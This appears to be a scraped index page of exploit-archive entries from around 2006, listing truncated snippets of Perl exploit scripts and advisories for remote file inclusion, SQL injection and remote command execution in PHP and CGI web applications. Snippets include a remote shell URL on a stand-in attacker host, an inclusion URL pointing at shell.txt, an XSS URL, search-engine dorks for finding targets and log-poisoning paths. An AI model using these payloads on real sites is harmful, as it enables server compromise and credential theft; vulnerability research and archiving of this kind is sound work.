PHP News Reader 2.6.4 - 'phpBB.inc.php' Remote File Inclusion

!/usr/bin/perl PHP News Reader Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/12 Remote: Yes Type: high Site: http://pnews.sourceforge.net/ use IO::Socket; use LWP::Simple; $cmdshell="http://attacker.com/cmd.txt"; ====== Change This Line With Your Personal Script print...

Buzlas 2006-1 Full - Archive_Topic.php Remote File Inclusion

Buzlas 2006-1 Full - ArchiveTopic.php Remote File Inclusion source: https://www.securityfocus.com/bid/20511/info Buzlas is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue may allow an attacker to compromise the...

Buzlas 2006-1 Full - 'Archive_Topic.php' Remote File Inclusion

source: https://www.securityfocus.com/bid/20511/info Buzlas is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also...

BBSNew 2.0.1 - index2.php Remote File Inclusion

BBSNew 2.0.1 - index2.php Remote File Inclusion source: https://www.securityfocus.com/bid/20204/info bbsNew is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input. A successful exploit of this issue allows an attacker to execute arbitrary...

BBSNew 2.0.1 - 'index2.php' Remote File Inclusion

source: https://www.securityfocus.com/bid/20204/info bbsNew is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input. A successful exploit of this issue allows an attacker to execute arbitrary server-side script code on an affected computer with th...

Spidey Blog Script <= 1.5 (tr) Remote SQL Injection Exploit

No description provided by source. !usr/bin/perl Author : gega Google : "Spidey Blog Script c v1.5" SpideyBlog 1.5 Sql Injection Exploit Author Mail : gega.tratgmaildotcom Powered by e-hack.org Vulnerability by Asianeagle. Vulnerability Link : http://milw0rm.com/exploits/2186 use LWP::Simple; pri...

Spidey Blog Script 1.5 - 'proje_goster.asp' SQL Injection (2)

!usr/bin/perl Author : gega Google : "Spidey Blog Script c v1.5" SpideyBlog 1.5 Sql Injection Exploit Author Mail : gega.tratgmaildotcom Powered by e-hack.org Vulnerability by Asianeagle. Vulnerability Link : http://milw0rm.com/exploits/2186 use LWP::Simple; print...

AlstraSoft E-Friends <= 4.85 Remote Command Execution Exploit

Exploit for unknown platform in category web applications ============================================================= AlstraSoft E-Friends = 4.85 Remote Command Execution Exploit ============================================================= !/usr/bin/perl AlstraSoft Efriends 4.85 Remote Command...

phplinkexchange.txt

vendor :www.idevspot.com Demo : www.idevspot.com/demo/PhpStart/PhpLinkExchange By : s3rv3rhack3r www: hackerz.ir & h4ckerz.com remote file include : http://www.domain.com/PhpLinkExchange/bitslistings.php?svrrootPhpStart=shell.txt? xss: http://www.domain.com/PhpLinkExchange/useradd.php?msg=xss...

Wikepage Opus 10 2006.2a (lng) - Remote Command Execution

Wikepage Opus 10 2006.2a lng - Remote Command Execution !/usr/bin/perl WIKEPAGE "; $socket = IO::Socket::INET-newProto="tcp", PeerAddr="$server", PeerPort="http80" || die "- Cannot not connect to host !\n"; print $socket "GET ".$path.$pcode." HTTP/1.1\r\n"; print $socket "User-Agent:...

SAPID CMS <= 1.2.3_rc3 (rootpath) Remote Code Execution Exploit

Exploit for unknown platform in category web applications =============================================================== SAPID CMS = 1.2.3rc3 rootpath Remote Code Execution Exploit =============================================================== Title: SAPID CMS Multiple remote Command Execution...

SAPID CMS remote File Inclusion vulnerabilities

Title: SAPID CMS remote File Inclusion Vulnerabilities Author: Simo64 simo64atmorxorg Discovered: 06 Aout 2006 MorX Security Research Team http://www.morx.org Vendor : SAPID CMS Version : 123 rc3 Website : http://sapid.sourceforge.net Severity: Critical Details: + Remote File Inclusion 1 vulnerab...

lifesucks.pl.txt

!/usr/bin/perl -w LifeType 1.0.5 SQL injection exploit extract admin username and MD5 password Sun Jul 2 02:19:33 CEST 2006 Bug was found by Alejandro Ramos . Script by Pedro Andujar and Alex. Shoutz: !dSR www.digitalsec.net and 514-77 www.514.es ppl. Example: lifesucks.pl www.rs-labs.com blog...

DmxForum-2.1a.txt

!/usr/bin/perl by DarkFig -- www.acid-root.new.fr use LWP::Simple; if !$ARGV1 header; print "\n| Usage: ----------------|"; print "\n+------------------------------------------+"; print "\n| Example: http://localhost/dmx/ 1 ------|"; end; sub header print...

Dmx Forum &lt;= v2.1a Remote Passwords Disclosure

!/usr/bin/perl by DarkFig -- www.acid-root.new.fr use LWP::Simple; if !$ARGV1 header; print "n| Usage: url memberid ----------------|"; print "n+------------------------------------------+"; print "n| Example: http://localhost/dmx/ 1 ------|"; end; sub header print...

SCart 2.0 - page Remote Code Execution

SCart 2.0 - page Remote Code Execution !/usr/bin/perl SCart 2.0 Remote Code Execution Exploit Bugs Found & code By K-159 base on advisory at http://advisories.echo.or.id/adv/adv32-K-159-2006.txt echo.or.id c 2006 usage: perl scart.pl "cmd" Google Dork : site: scartserver.com Greetz: my soul...

phpListPro 2.0.1 - 'Language' Remote Code Execution

!/usr/bin/perl Title: phpListPro = 2.0.1 Remote Command Execution Exploit URL: http://www.smartisoft.com/ Info: - arbitrary local inclusion - need magicquotesgpc=off use IO::Socket; use LWP::Simple; ripped from rgod @apache= "/var/log/httpd/accesslog%00", "/var/log/httpd/errorlog%00",...

VWar-1.2.1.txt

!/usr/bin/perl Exploit by s3rv3rhack3r Special Thanx : hessamx ,sattar.li , stanic, mfox,blood moon and.. / | \ | | / \ \ / | |/ // \ \ / \ Y // \ | | \ | / \ / / / / / / Iran Hackerz Security Team WebSite: www.hackerz.ir VWar perl vwar.pl +location of VWar+ +shell Url+ location example...

quizz <= 1.01 (quizz.pl) Remote Command Execution Exploit

Exploit for cgi platform in category web applications ========================================================= quizz "cmd"\n"; exit; if @ARGV 3 Usage; $host = @ARGV0; $path = @ARGV1; $command = @ARGV2; print "\n\n !!! PRIVATE PRIVATE PRIVATE !!! \n\n"; print "quizz.pl 0day Remote Command...

Censtore 7.3.x - 'censtore.cgi' Remote Command Execution

!/usr/bin/perl Censtore.cgi exploit by FOXMULDER [email protected] Vulnerability foud by FOXMULDER. This is the first exploit i release and the bug is not public so enjoy. Ask http://censtore.com/ what they think about it !!! use IO::Socket; use LWP::Simple; sub Usage print STDERR "\nFOXMULDER DID...